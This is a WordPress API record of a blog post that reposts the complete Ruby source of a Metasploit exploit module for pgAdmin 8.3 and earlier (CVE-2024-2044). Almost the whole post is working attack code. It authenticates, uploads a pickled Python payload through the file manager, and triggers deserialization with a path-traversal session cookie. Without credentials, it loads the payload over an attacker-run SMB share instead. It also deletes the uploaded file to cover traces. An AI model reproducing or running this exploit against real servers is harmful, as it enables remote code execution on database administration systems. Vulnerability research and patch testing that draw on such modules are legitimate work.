{"id":56301,"date":"2024-04-17T20:31:42","date_gmt":"2024-04-17T16:31:42","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178098\/pgadmin_session_deserialization.rb.txt"},"modified":"2024-04-17T20:31:42","modified_gmt":"2024-04-17T16:31:42","slug":"pgadmin-8-3-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/pgadmin-8-3-remote-code-execution\/","title":{"rendered":"pgAdmin 8.3 Remote Code Execution"},"content":{"rendered":"<p># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::SMB::Server::Share<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;pgAdmin Session Deserialization RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>pgAdmin versions &lt;= 8.3 have a path traversal vulnerability within their session management logic that can allow<br \/>a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python<br \/>object to execute code within the context of the target application.<\/p>\n<p>This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials<br \/>are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object<br \/>using pgAdmin&#8217;s file management plugin. Once uploaded, this payload is executed via the path traversal before<br \/>being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no<br \/>credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a<br \/>UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also<br \/>requires that insecure outbound guest access be enabled.<\/p>\n<p>Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin<br \/>underwent changes in the 6.x versions and therefor, pgAdmin versions &lt; 7.0 can not utilize the authenticated<br \/>technique whereby a payload is uploaded.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Spencer McIntyre&#8217;, # metasploit module<br \/>&#8216;Davide Silvetti&#8217;, # vulnerability discovery and write up<br \/>&#8216;Abdel Adim Oisfi&#8217; # vulnerability discovery and write up<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-2044&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.shielder.com\/advisories\/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/pgadmin-org\/pgadmin4\/commit\/4e49d752fba72953acceeb7f4aa2e6e32d25853d&#8217;]],<br \/>&#8216;Stance&#8217; =&gt; Msf::Exploit::Stance::Aggressive,<br \/>&#8216;Platform&#8217; =&gt; &#8216;python&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_PYTHON,<br \/>&#8216;Payload&#8217; =&gt; {},<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic&#8217;, {} ],<br \/>],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;WfsDelay&#8217; =&gt; 5<br \/>},<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-04&#8217;, # date it was patched, see: https:\/\/github.com\/pgadmin-org\/pgadmin4\/commit\/4e49d752fba72953acceeb7f4aa2e6e32d25853d<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ]}<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path for pgAdmin&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;The username to authenticate with (an email address)&#8217;, &#8221;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;The password to authenticate with&#8217;, &#8221;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>version = get_version<br \/>return CheckCode::Unknown(&#8216;Unable to determine the target version&#8217;) unless version<br \/>return CheckCode::Safe(&#8220;pgAdmin version #{version} is not affected&#8221;) if version &gt;= Rex::Version.new(&#8216;8.4&#8217;)<\/p>\n<p>CheckCode::Appears(&#8220;pgAdmin version #{version} is affected&#8221;)<br \/>end<\/p>\n<p>def csrf_token<br \/>return @csrf_token if @csrf_token<\/p>\n<p>res = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;login&#8217;), &#8216;keep_cookies&#8217; =&gt; true)<br \/>set_csrf_token_from_login_page(res)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to obtain the CSRF token&#8217;) unless @csrf_token<br \/>@csrf_token<br \/>end<\/p>\n<p>def set_csrf_token_from_login_page(res)<br \/>if res&amp;.code == 200 &amp;&amp; res.body =~ \/csrfToken&#8221;: &#8220;([\\w+.-]+)&#8221;\/<br \/>@csrf_token = Regexp.last_match(1)<br \/># at some point between v7.0 and 7.7 the token format changed<br \/>elsif (element = res.get_html_document.xpath(&#8220;\/\/input[@id=&#8217;csrf_token&#8217;]&#8221;)&amp;.first)<br \/>@csrf_token = element[&#8216;value&#8217;]end<br \/>end<\/p>\n<p>def get_version<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;login&#8217;), &#8216;keep_cookies&#8217; =&gt; true)<br \/>return unless res&amp;.code == 200<\/p>\n<p>html_document = res.get_html_document<br \/>return unless html_document.xpath(&#8216;\/\/title&#8217;).text == &#8216;pgAdmin 4&#8217;<\/p>\n<p># there&#8217;s multiple links in the HTML that expose the version number in the [X]XYYZZ,<br \/># see: https:\/\/github.com\/pgadmin-org\/pgadmin4\/blob\/053b1e3d693db987d1c947e1cb34daf842e387b7\/web\/version.py#L27<br \/>versioned_link = html_document.xpath(&#8216;\/\/link&#8217;).find { |link| link[&#8216;href&#8217;] =~ \/\\?ver=(\\d?\\d)(\\d\\d)(\\d\\d)\/ }<br \/>return unless versioned_link<\/p>\n<p>set_csrf_token_from_login_page(res) # store the CSRF token because we have it<br \/>Rex::Version.new(&#8220;#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}&#8221;)<br \/>end<\/p>\n<p>def exploit<br \/>if datastore[&#8216;USERNAME&#8217;].present?<br \/>exploit_upload<br \/>else<br \/>exploit_remote_load<br \/>end<br \/>end<\/p>\n<p>def exploit_remote_load<br \/>start_service<br \/>print_status(&#8216;The SMB service has been started.&#8217;)<\/p>\n<p># Call the exploit primer<br \/>self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)<br \/>trigger_deserialization(unc)<br \/>end<\/p>\n<p>def exploit_upload<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;authenticate\/login&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8217;email&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>&#8216;password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>&#8216;language&#8217; =&gt; &#8216;en&#8217;,<br \/>&#8216;internal_button&#8217; =&gt; &#8216;Login&#8217;<br \/>}<br \/>})<\/p>\n<p>unless res&amp;.code == 302 &amp;&amp; res.headers[&#8216;Location&#8217;] != normalize_uri(target_uri.path, &#8216;login&#8217;)<br \/>fail_with(Failure::NoAccess, &#8216;Failed to authenticate to pgAdmin&#8217;)<br \/>end<br \/>print_status(&#8216;Successfully authenticated to pgAdmin&#8217;)<\/p>\n<p>serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)<\/p>\n<p>file_name = Faker::File.file_name(dir: &#8221;, directory_separator: &#8221;)<br \/>file_manager_upload(file_name, serialized_data)<br \/>trigger_deserialization(&#8220;..\/storage\/#{datastore[&#8216;USERNAME&#8217;].gsub(&#8216;@&#8217;, &#8216;_&#8217;)}\/#{file_name}&#8221;)<br \/>file_manager_delete(file_name)<br \/>end<\/p>\n<p>def trigger_deserialization(path)<br \/>print_status(&#8220;Triggering deserialization for path: #{path}&#8221;)<br \/>send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;login&#8217;),<br \/>&#8216;cookie&#8217; =&gt; &#8220;pga4_session=#{path}!&#8221;<br \/>})<br \/>end<\/p>\n<p>def file_manager_init<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;file_manager\/init&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; { &#8216;X-pgA-CSRFToken&#8217; =&gt; csrf_token },<br \/>&#8216;data&#8217; =&gt; {<br \/>&#8216;dialog_type&#8217; =&gt; &#8216;storage_dialog&#8217;,<br \/>&#8216;supported_types&#8217; =&gt; [&#8216;sql&#8217;, &#8216;csv&#8217;, &#8216;json&#8217;, &#8216;*&#8217;],<br \/>&#8216;dialog_title&#8217; =&gt; &#8216;Storage Manager&#8217;<br \/>}.to_json<br \/>})<br \/>unless res&amp;.code == 200 &amp;&amp; (trans_id = res.get_json_document.dig(&#8216;data&#8217;, &#8216;transId&#8217;))<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to initialize a file manager transaction&#8217;)<br \/>end<\/p>\n<p>trans_id<br \/>end<\/p>\n<p>def file_manager_delete(file_path)<br \/>trans_id = file_manager_init<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;\/file_manager\/filemanager\/#{trans_id}\/&#8221;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; { &#8216;X-pgA-CSRFToken&#8217; =&gt; csrf_token },<br \/>&#8216;data&#8217; =&gt; {<br \/>&#8216;mode&#8217; =&gt; &#8216;delete&#8217;,<br \/>&#8216;path&#8217; =&gt; &#8220;\/#{file_path}&#8221;,<br \/>&#8216;storage_folder&#8217; =&gt; &#8216;my_storage&#8217;<br \/>}.to_json<br \/>})<br \/>unless res&amp;.code == 200 &amp;&amp; res.get_json_document[&#8216;success&#8217;] == 1<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to delete file&#8217;)<br \/>end<\/p>\n<p>true<br \/>end<\/p>\n<p>def file_manager_upload(file_path, file_contents)<br \/>trans_id = file_manager_init<\/p>\n<p>form = Rex::MIME::Message.new<br \/>form.add_part(<br \/>file_contents,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>&#8216;binary&#8217;,<br \/>&#8220;form-data; name=\\&#8221;newfile\\&#8221;; filename=\\&#8221;#{file_path}\\&#8221;&#8221;<br \/>)<br \/>form.add_part(&#8216;add&#8217;, nil, nil, &#8216;form-data; name=&#8221;mode&#8221;&#8216;)<br \/>form.add_part(&#8216;\/&#8217;, nil, nil, &#8216;form-data; name=&#8221;currentpath&#8221;&#8216;)<br \/>form.add_part(&#8216;my_storage&#8217;, nil, nil, &#8216;form-data; name=&#8221;storage_folder&#8221;&#8216;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;\/file_manager\/filemanager\/#{trans_id}\/&#8221;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form.bound}&#8221;,<br \/>&#8216;headers&#8217; =&gt; { &#8216;X-pgA-CSRFToken&#8217; =&gt; csrf_token },<br \/>&#8216;data&#8217; =&gt; form.to_s<br \/>})<br \/>unless res&amp;.code == 200 &amp;&amp; res.get_json_document[&#8216;success&#8217;] == 1<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to upload file contents&#8217;)<br \/>end<\/p>\n<p>upload_path = res.get_json_document.dig(&#8216;data&#8217;, &#8216;result&#8217;, &#8216;Name&#8217;)<br \/>print_status(&#8220;Serialized payload uploaded to: #{upload_path}&#8221;)<\/p>\n<p>true<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p># This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::SMB::Server::Share def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;pgAdmin Session Deserialization RCE&#8217;,&#8216;Description&#8217; =&gt; %q{pgAdmin versions &lt;= 8.3 have a path traversal vulnerability within their session management logic that can allowa pickled file to be loaded from an arbitrary location. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56301","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56301"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56301\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}